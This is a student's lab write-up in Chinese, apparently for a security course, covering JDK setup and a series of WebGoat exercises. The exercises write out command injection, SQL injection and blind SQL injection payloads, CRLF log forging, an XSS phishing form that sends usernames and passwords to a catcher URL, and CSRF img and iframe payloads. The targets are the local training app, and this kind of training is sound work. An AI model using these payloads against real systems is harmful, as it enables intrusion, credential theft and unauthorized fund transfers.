1.安裝WebGoatjavascript
從學長博客的雲盤裏下載了WebGoat,輸入命令java -jar webgoat-container-7.1-exec.jar運行WebGoatjava
2.而後在瀏覽器中打開http://localhost:8080/WebGoat進入登陸界面:linux
3.而後發現並無左邊的課程之類的。詢問了同窗發現是JDK的問題,須要下載版本低一點的JDK。如下是JDK安裝過程git
(1)將下載好的JDK包提取出來,開始拷貝目錄 ,手動安裝 (注意文件夾名根據本身的實際狀況來設定)程序員
sudo mkdir -p /usr/local/java
cp -r jdk-8u11-linux-x64/ /usr/local/java/
(2)配置JDK的環境變量輸入命令 sudo gedit /etc/profile ,複製如下內容追加到文件末尾(注意文件夾名根據本身的實際狀況來設定)web
JAVA_HOME=/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11 PATH=$PATH:$HOME/bin:$JAVA_HOME/bin export JAVA_HOME export PATH
(3)告訴系統JDK的位置,並設置新的JDK爲默認。(命令須要輸兩次,執行兩次)sql
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws" 1
sudo update-alternatives --set java /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/java sudo update-alternatives --set java /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/java sudo update-alternatives --set javac /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javac sudo update-alternatives --set javac /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javac sudo update-alternatives --set javaws /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws sudo update-alternatives --set javaws /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws
(4)重載Profile文件,輸入命令 java -version 查看Java版本號瀏覽器
(5)成功訪問webgoat安全
原理:在正常的參數提交過程當中,添加惡意的代碼,從而得到一些信息。服務器
(1)右鍵表單選擇框的下拉框,選擇Inspect Element(Q),而後修改源代碼,在任意位置加上 & netstat -an & ipconfig
(2)點擊網頁中的 view 按鈕,就能在網頁下面看到系統的網絡鏈接狀況了
原理大概就是這裏有一個SQL語句 SELECT * FROM weather_data WHERE station = [station] ,能夠攔截報文將station字段後補充成一個永真式101 OR 1=1。
(1)右鍵網頁,點擊inspect Element
,查看並編輯網頁源代碼,在option value
中加入恆等真式or 1=1
(2)因爲1=1恆成立,點擊go,看到全部城市的天氣,成功。
日誌僞造,目的是經過注入惡意字符串,按照規則僞造出一條日誌。
(1)在Username輸入 20164316%0d%0aLogin Succeeded for username: admin 其中%0d和%0a爲CRLF換行符
(2)點擊login in
就能夠看到成功啦
意思大概是你的帳號是Mike/test123,目標是嘗試查看其餘員工的數據,經過嘗試構造永真式來實現。
(1)在User Name
中輸入永真式 4316zzy ' or 1=1 or 'a' ='a
(2)點擊submit
就能夠看到全部員工的數據了
原理:應用程序會將您的輸入帶入後臺的 SQL 查詢語句,使用SQL注入繞過認證。
(1)因爲密碼的長度有限制,因此咱們先修改密碼輸入框的容許輸入長度。將maxlength
設置爲25甚至更大。
(2)就能夠以admin
的身份登陸,密碼框裏輸入 ' or 1=1 -- ,而後就能成功以John
的身份登陸成功。能夠查看任意用戶的信息等等。
繞過認證執行SQL注入,使登陸Larry帳戶,可是能查看Boss的信息。和以前的想法同樣,咱們只需將employee_id參數修改成: 101 or 1=1 order by salary desc
數字盲注,有些時候存在SQL注入,可是獲取不到咱們須要的信息,此時能夠經過SQL語句的條件判斷,進行盲注。
(1)使用盲注進行爆破,在「Enter your Account Number」輸入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
(2)若是頁面提示賬號有效,說明 PIN>10000
不然PIN<=10000
。不斷調整數值,能夠縮小判斷範圍,並最終判斷出 PIN 數值的大小。
(3)最終以下語句返回賬號有效:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
使用盲注進行爆破,在「Enter your Account Number」輸入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
根據返回的提示來判斷name的範圍,直至返回成功,而後把Jill輸入表單,提交,以下圖所示:
(1)使用XSS和HTML插入製做一個釣魚網站,代碼以下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br><br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
(2)點擊search
後,下拉網頁就能夠看到輸入框了,在裏面輸入任意字符,點擊login
,就能夠看到攻擊成功了
最典型的儲存型XSS的例子——留言板,由於能夠輸入任何信息,若是有人進行了惡意留言,那麼以後的人便會中招。
(1)在Title裏輸入「Test Stored XSS」,在 Message裏輸入
<script>alert("20164316zzy!");</script>
(2)點擊生成的留言板就能攻擊成功。
(1)在Enter your three digit access code
中輸入以下代碼: <script>alert('20164316zhangziyao attack!')</script> 。
(2) 點擊Purchase
,成功顯示警告框,內容爲咱們script腳本寫的20164316zhangziyao attack!。攻擊成功。
實驗目標:向新聞組發送一封email。這個email包含一個image,其URL指向一個惡意請求。
(1)在Title輸入:4316zzy,在Message輸入:
<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />
(2)點擊「Submit」,在Message List下出現一條提交的記錄,點擊該連接,當前頁面就會下載這個消息並顯示出來。
(1)在Title輸入:20164316zzy;在Message輸入:
<iframe src="attack?Screen=280&menu=900&transferFunds=5000" id="myFrame" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300" onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';"> </iframe> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"> </iframe>
(2)點擊「Submit」,在Message List下出現一條提交的記錄,點擊該連接
(1)SQL注入攻擊原理,如何防護
(2)XSS攻擊的原理,如何防護
(3)CSRF攻擊原理,如何防護
這是最後一次實驗了,經過webgoat深刻理解並運用了多種攻擊,嘗試了不少東西,能夠說是很是有意思了,固然也碰到了不少問題,可是發現沉下心來認真解決仍是頗有成就感的!雖然有一些浪費時間...總的來講,這門課我收穫良多,雖然也許在現實中並不能成功攻擊他人,可是可以認識而且作出相應的防範了。學習到了很多的東西,也進行了屢次的實踐與嘗試。